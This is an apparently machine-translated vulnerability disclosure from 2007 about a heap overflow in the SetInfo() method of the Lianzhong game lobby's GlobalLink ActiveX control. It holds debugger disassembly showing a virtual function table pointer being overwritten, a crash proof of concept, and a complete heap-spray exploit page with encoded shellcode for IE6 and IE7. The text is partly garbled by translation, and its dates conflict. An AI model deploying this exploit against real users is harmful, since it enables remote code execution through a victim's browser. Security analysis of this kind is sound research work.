Lianzhong game lobby GlobalLink glItemCom.dll SetInfo()use analyze-vulnerability warning-the black bar safety net

2007-09-07T00:00:00
ID MYHACK58:62200716826
Type myhack58
Reporter 佚名
Modified 2007-09-07T00:00:00

Description

author: void#ph4nt0m.org pub: 2008-09-04 http://www.ph4nt0m.org

Text Mode

Affected version: Lianzhong game lobby 2. 7. 0. 8 (2 0 0 7 years 8 months 1 6, released)

Unaffected version: Ourgame also didn't fill :-)

Genesis: With all the programmers are too trusting user input,not detecting the user provides the length of the string,resulting in objects the virtual function table pointer is overwritten,thereby obtaining a system of control.

Analysis: IE first create obj_vuln object(why in the SetInfo()before execution to do this,not analyzed),the position just before the obj_now under objects: 0 3 8 0 3 0 3 4 /$ 5 6 PUSH ESI 0 3 8 0 3 0 3 5 |. 8BF1 MOV ESI,ECX 0 3 8 0 3 0 3 7 |. 6A 5 8 PUSH 5 8 ; object size:58h,i.e., 8 8-byte 0 3 8 0 3 0 3 9 |. 8 3 6 6 1 0 0 0 AND DWORD PTR DS:[ESI+1 0],0 0380303D |. 8 3 6 6 1 4 0 0 AND DWORD PTR DS:[ESI+1 4],0 0 3 8 0 3 0 4 1 |. 8 3 6 6 1 8 0 0 AND DWORD PTR DS:[ESI+1 8],0 0 3 8 0 3 0 4 5 |. C706 C4048103 MOV DWORD PTR DS:[ESI],038104C4 0380304B |. E8 2C370000 CALL 0380677C ; create obj_vuln object 0 3 8 0 3 0 5 0 |. 85C0 TEST EAX,EAX 0 3 8 0 3 0 5 2 |. 5 9 POP ECX 0 3 8 0 3 0 5 3 |. 7 4 0A JE SHORT 0380305F 0 3 8 0 3 0 5 5 |. 5 6 PUSH ESI 0 3 8 0 3 0 5 6 |. 8BC8 MOV ECX,EAX 0 3 8 0 3 0 5 8 |. E8 390D0000 CALL 03803D96 ; initialization obj_vuln object 0380305D |. EB 0 2 JMP SHORT 0 3 8 0 3 0 6 1 0380305F |> 33C0 XOR EAX,EAX 0 3 8 0 3 0 6 1 |> 6A 0 8 PUSH 8 0 3 8 0 3 0 6 3 |. 8 9 4 6 0 8 MOV DWORD PTR DS:[ESI+8],EAX ; save

obj_vuln==>[ESI+8] remember this,later to be mentioned

Then enter the SetInfo()process: 03802F25 |> \5 6 PUSH ESI ; /EvilString <=== Hey Hey~ 03802F26 |. 8B45 0 8 MOV EAX,DWORD PTR SS:[EBP+8] ; | 03802F29 |. FF75 0C PUSH DWORD PTR SS:[EBP+C] ; |Arg7 03802F2C |. 8D48 1 4 LEA ECX,DWORD PTR DS:[EAX+1 4] ; | 03802F2F |. FF75 2 0 PUSH DWORD PTR SS:[EBP+2 0] ; |Arg6 03802F32 |. FF75 1C PUSH DWORD PTR SS:[EBP+1C] ; |Arg5 03802F35 |. FF75 1 8 PUSH DWORD PTR SS:[EBP+1 8] ; |Arg4 03802F38 |. FF75 1 0 PUSH DWORD PTR SS:[EBP+1 0] ; |Arg3 03802F3B |. FF75 F8 PUSH DWORD PTR SS:[EBP-8] ; |Arg2 03802F3E |. FF75 F4 PUSH DWORD PTR SS:[EBP-C] ; |Arg1 03802F41 |. E8 7E010000 CALL 038030C4 ; \call SetInfo()

F7 follow-up

Follow up with SetInfo(),will EvilString filled to obj_now inside: 038030C4 /$ 5 5 PUSH EBP 038030C5 |. 8BEC MOV EBP,ESP 038030C7 |. 5 6 PUSH ESI 038030C8 |. 8BF1 MOV ESI,ECX 038030CA |. FF75 1 0 PUSH DWORD PTR SS:[EBP+1 0] 038030CD |. B9 9 0 5 6 8 1 0 3 MOV ECX,0 3 8 1 5 6 9 0 038030D2 |. FF75 0C PUSH DWORD PTR SS:[EBP+C] 038030D5 |. FF75 0 8 PUSH DWORD PTR SS:[EBP+8] 038030D8 |. E8 DB040000 CALL 038035B8 038030DD |. FF75 2 0 PUSH DWORD PTR SS:[EBP+2 0] 038030E0 |. 8D46 1C LEA EAX,DWORD PTR DS:[ESI+1C] 038030E3 |. 5 0 PUSH EAX 038030E4 |. E8 3 7 3 5 0 0 0 0 CALL 0 3 8 0 6 6 2 0 038030E9 |. FF75 2 4 PUSH DWORD PTR SS:[EBP+2 4] ; EvilString 038030EC |. 8D46 3C LEA EAX,DWORD PTR DS:[ESI+3C] ; obj_now+0x3C obj_new offsets 6 0 Byte 038030EF |. 5 0 PUSH EAX : 038030F0 |. E8 2B350000 CALL 0 3 8 0 6 6 2 0 ; EvilString is copied to obj_now+0x3C <== problem here,there is no detection EvilString length.

After executing the SetInfo (), see stack: $ ==> 03823D80 038104C4 ?? <=== obj_now at the beginning of the $+4 03823D84 03823D68 h=? $+8 03823D88 03823DE0 ?? $+C 03823D8C 03823E48 H>? $+1 0 03823D90 0 0 0 0 0 0 0 1 ... $+1 4 03823D94 0 0 0 0 0 0 0 1 ... $+1 8 03823D98 0 0 0 0 0 0 0 1 ... $+1C 03823D9C 0 0 0 0 0 0 0 0 ... . $+2 0 03823DA0 0 0 0 0 0 0 0 0 ... . $+2 4 03823DA4 0 0 0 0 0 0 0 0 ... . $+2 8 03823DA8 0 0 0 0 0 0 0 0 ... . $+2C 03823DAC 0 0 0 0 0 0 0 0 ... . $+3 0 03823DB0 0 0 0 0 0 0 0 0 ... . $+3 4 03823DB4 0 0 0 0 0 0 0 0 ... . $+3 8 03823DB8 0 0 0 0 0 0 0 0 ... . $+3C 03823DBC 4 1 4 1 4 1 4 1 AAAA <=== EvilString the beginning $+4 0 03823DC0 4 1 4 1 4 1 4 1 AAAA $+4 4 03823DC4 4 1 4 1 4 1 4 1 AAAA $+4 8 03823DC8 4 1 4 1 4 1 4 1 AAAA $+4C 03823DCC 4 1 4 1 4 1 4 1 AAAA $+5 0 03823DD0 4 1 4 1 4 1 4 1 AAAA $+5 4 03823DD4 4 1 4 1 4 1 4 1 AAAA <=== obj_now of the tail:from 3Ch to 58h,covered 2 of 8 bytes $+5 8 03823DD8 4 1 4 1 4 1 4 1 AAAA // also to be filled to 8 bytes. To get to the obj_vuln $+5C 03823DDC 4 1 4 1 4 1 4 1 AAAA // the reason is estimated to be the heap allocation granularity is 1 6 byte $+6 0 03823DE0 0D0D0D0D ... . <=== obj_vuln the vmt_ptr(virtual function table pointer)is overwritten!!!

When the 2nd call to SetInfo when,IE will first perform obj_vuln in the function,but obj_vuln the vmt_ptr has been our control: 0380309F /$ 5 6 PUSH ESI 038030A0 |. 8BF1 MOV ESI,ECX 038030A2 |. 8B4E 0 8 MOV ECX,DWORD PTR DS:[ESI+8] ; ECX: obj_vuln remember in front of[ESI+8]? 038030A5 |. C706 C4048103 MOV DWORD PTR DS:[ESI],038104C4 038030AB |. 85C9 TEST ECX,ECX 038030AD |. 7 4 0 6 JE SHORT 038030B5 038030AF |. 8B01 MOV EAX,DWORD PTR DS:[ECX] ; [ECX]: vmt_ptr==>EAX 038030B1 |. 6A 0 1 PUSH 1 038030B3 |. FF10 CALL DWORD PTR DS:[EAX] ; <=== control!!! 038030B5 |> 8B4E 0C MOV ECX,DWORD PTR DS:[ESI+C] 0 3 8 030B8 |. 5E POP ESI 038030B9 |. 85C9 TEST ECX,ECX 038030BB |. 7 4 0 6 JE SHORT 038030C3 038030BD |. 8B01 MOV EAX,DWORD PTR DS:[ECX] 038030BF |. 6A 0 1 PUSH 1 038030C1 |. FF10 CALL DWORD PTR DS:[EAX] 038030C3 \> C3 RETN

Demo code: Top with the test of the Crash PoC(need to refresh under IE): <html> <body> <object id="gl" classid="clsid:1C9B434A-0 8 9 8-498A-B802-B00FA0962214"></object> <script> var s = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "\x0d\x0d\x0d\x0d"; gl. SetInfo("", "", "", 1, 1, 1, "", s); </script> </body> </html>

Using the heap spray PoC(shellcode 弹出 cacl.exe): <html> <body> <object id="gl" classid="clsid:1C9B434A-0 8 9 8-498A-B802-B00FA0962214"></object> <script> document. write("<meta http-equiv=\"refresh\" content=\"1," + window. location. href + "\"></meta>");

var heapSprayToAddress = 0x0c0c0c0c; var shellcode = unescape( "%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" + // exec calc "%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%uf513" + "%ue2ce%u8369%ufceb%uf4e2%u2609%u69a6%ucef5%u2c69" + "%u45c9%u6c9e%ucf8d%ue20d%ud6ba%u3669%ucfd5%u2009" + "%ufa7e%u6869%uff1b%uf022%u4a59%u1d22%u0ff2%u6428" + "%u0cf4%u9d09%u9ace%u6dc6%u2b80%u3669%ucfd1%u0f09" + "%uc27e%ue2a9%ud2aa%u82e3%ud27e%u6869%u471e%u4dbe" + "%u0df1%ua9d3%u4591%u59a2%u0e70%u659a%u8e7e%ue2ee" + "%ud285%ue24f%uc69d%u6009%u4e7e%u6952%ucef5%u0169" + "%u91c9%u9fd3%u9895%u916b%u0e76%u3999%u3e9d%u6d68" + "%ua6aa%u977a%uc07f%u96b5%uad12%u0583%uce96%u69e2" );

var heapBlockSize = 0x100000; var payLoadSize = shellcode. length * 2; var spraySlideSize = heapBlockSize - (payLoadSize+0x38); var spraySlide = unescape("%u0c0c%u0c0c"); spraySlide = getSpraySlide(spraySlide,spraySlideSize); heapBlocks = (heapSprayToAddress - 0x100000)/heapBlockSize; memory = new Array();

for (i=0;i<heapBlocks;i++) { memory[i] = spraySlide + shellcode; }

function getSpraySlide(spraySlide, spraySlideSize) { while (spraySlide. length*2<spraySlideSize) { spraySlide += spraySlide; } spraySlide = spraySlide. substring(0,spraySlideSize/2); return spraySlide; }

var s = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "\x0c\x0c\x0c\x0c"; gl. SetInfo("", "", "", 1, 1, 1, "", s); </script> </body> </html>

Summary: Captain,don't shoot,is tape first fuzz with the congregation,not me. Thank you luoluo giant cow written by PoC. In ie6sp2 and ie7 under test is feasible. Thank ZhaoHuan remind me HideOD the problem,otherwise I was also in ollydbg debugging heap of BAADF00D,FREEFREE in the blind turn.